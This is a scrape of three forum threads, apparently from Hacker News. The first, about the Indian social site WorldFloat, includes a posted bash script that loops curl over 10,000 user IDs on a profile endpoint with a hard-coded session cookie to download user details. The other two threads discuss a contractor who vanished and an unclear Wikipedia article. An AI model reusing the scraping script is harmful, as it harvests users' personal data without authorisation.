Indian's WorldFloat ready to take on Facebook [http://articles.timesofindia.indiatimes.com/2013-05-11/social-media/39185564_1_7-million-users-facebook-user-idea]
How to scrap email and other data from worldfloat?
1) Open worldfload and login 2) Open javascript console(in chrome press ctrl+shift+j) 3) paste the following code and enter
http://pastebin.com/iGfHTRWf
by Sunny Luthra [KalaMartStore] <comment><USER2> Did some hackin of my own & downloaded the entire user details. Almost all of these are fake users with majority of the users having a gmail address with some random numbers.. something like firstname.lastname@example.com...

here's the bash script I wrote, feel free to use :P

#!/bin/bash

clear

for count in {1..10000}. do

curl "[http://worldfloat.com/AjaxControl/AJAXRequestHandler.aspx?AC...](http://worldfloat.com/AjaxControl/AJAXRequestHandler.aspx?ACTION=profiles&User=$count) -H "Accept-Charset: ISO-8859-1, utf-8;q=0.7, _;q=0.3" -H "Accept-Encoding: gzip, deflate, sdch" -H "Host: worldfloat.com" -H "Accept-Language: en-US, en;q=0.8" -H "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31" -H "Accept:_ /*" -H "Referer: <http://worldfloat.com/float.aspx> -H "Cookie: ASP.NET_SessionId=aqyrjy455jhgegy4pf2jjsza; __utma=75150868.1043408261.1369317545.1369317545.1369317545.1; __utmb=751508188.8.131.529317545; __utmc=75150868; __utmz=75150868.1369317545.1.1.utmcsr=nextbigwhat.com|utmccn=(referral)|utmcmd=referral|utmcct=/indias- zuckerberg-wordfloat-busted-297/; __asc=4cf55f8513ed1af94822591db23; __auc=4cf55f8513ed1af94822591db23; __unam=3e2676f-13ed1b17520-389700fe-3" -H "Connection: keep-alive" > $count.txt.

done

echo "command completed successfully".

</comment><comment><AUTHOR> Clickable links

[http://articles.timesofindia.indiatimes.com/2013-05-11/socia...](http://articles.timesofindia.indiatimes.com/2013-05-11/social- media/39185564_1_7-million-users-facebook-user-idea)

<http://pastebin.com/iGfHTRWf></comment>


Ask HN: Contractor Vanished, Now What? - <AUTHOR>

After 6 months of development and thousands paid with no milestone notes or evidence of progress, a biochemist I've hired has become completely unresponsive.
His most recent communication suggested that he'd like the right to pursue development of devices identified using the intellectual property (discovered under IP agreements and disclosure agreements that specifically transfer all related IP to my corp) in exchange for notes and prototypes of devices I've already paid him to develop.
My response was to say that doing that would be counter to the agreement he entered into and that he has no right to do so. I have further demanded the notes he's holding hostage under provisions stipulated in this agreement but I have received no response.
The contracts call for arbitration in this scenario, but I'm not sure what courses of action I have available to me.
This is a bit random, I know, but I'm curious to hear if anyone has successfully navigated a similar scenario. Naturally the moral of the story is "get milestone updates, even if they're non-working prototypes." Expensive lesson learned.
Any thoughts would be most appreciated, <comment><USER2> Find a lawyer. It looks like you're definitely out of 'hey forum friends, what should I do' territory.

Make sure you build a case, keep copies of any and all communications (emails, contracts) that you've had with this character and make sure you don't lose a thing.

A single email can make all the difference if this ever goes to court and it might be a while before you get there, ideally you'd have started building a case long ago, but now it is definitely time to get organized.

If you should go to court, the major advantage you will have if you are organized is that you can present your case in a way that someone can follow. A case is like a piece of software in that respect, if it looks like 'spaghetti' then you will have a hard time arguing it, if it is nicely structured with layers building upon other layers you will stand a better chance to come out ahead.

Good luck with this!

<comment><USER3> You must be one heck of a nice guy to hand over money without getting anything in return. Get an estimate from your lawyer before you hand over even more thousands! Whilst you appear to have a case of breach of contract, you could quickly multiply your losses through litigation, the time, effort money and distraction that it poses. You could weigh up the impact of all of these on your time-to-market. If it's a really great idea, then you might need to re- group and attack again whilst the opportunity is still good.

<comment><USER2> Consider the fact that _he_ could be the one that is sued, it is best to be prepared.

Yes, lawyers are expensive, but you'd be surprised how effective a single letter from a heavyweight attorney can be, and it won't cost you a fortune at all.

But you have to explain your case to your attorney too, and that is where that documentation comes in again.

<comment><AUTHOR> Yeah, paper trail started last week, aside from the email history. I appreciate the comments - it's an unusual situation.

My attorney is up to speed, it's just a question of whether or not it makes sense to engage in arbitration.

I'm mostly curious to see if anyone has ever done that, chased an uncooperative contractor into that, obtained an injunction, etc.

wrt not receiving anything in return, a non-functional prototype never seemed like a useful thing to have ... until now =) Although it worsens his case significantly.</comment></comment></comment></comment>


The limit of The Semantic Web  - <AUTHOR> http://en.wikipedia.org/wiki/The_limit_of_The_Semantic_Web <comment><USER2> There's a grain of an argument somewhere in there, but the writing is astoundingly unclear and confusing. It needs a serious overhaul.

<comment><USER3> Yeah, it felt like I was reading a SCIgen paper (<http://pdos.csail.mit.edu/scigen/>).</comment></comment>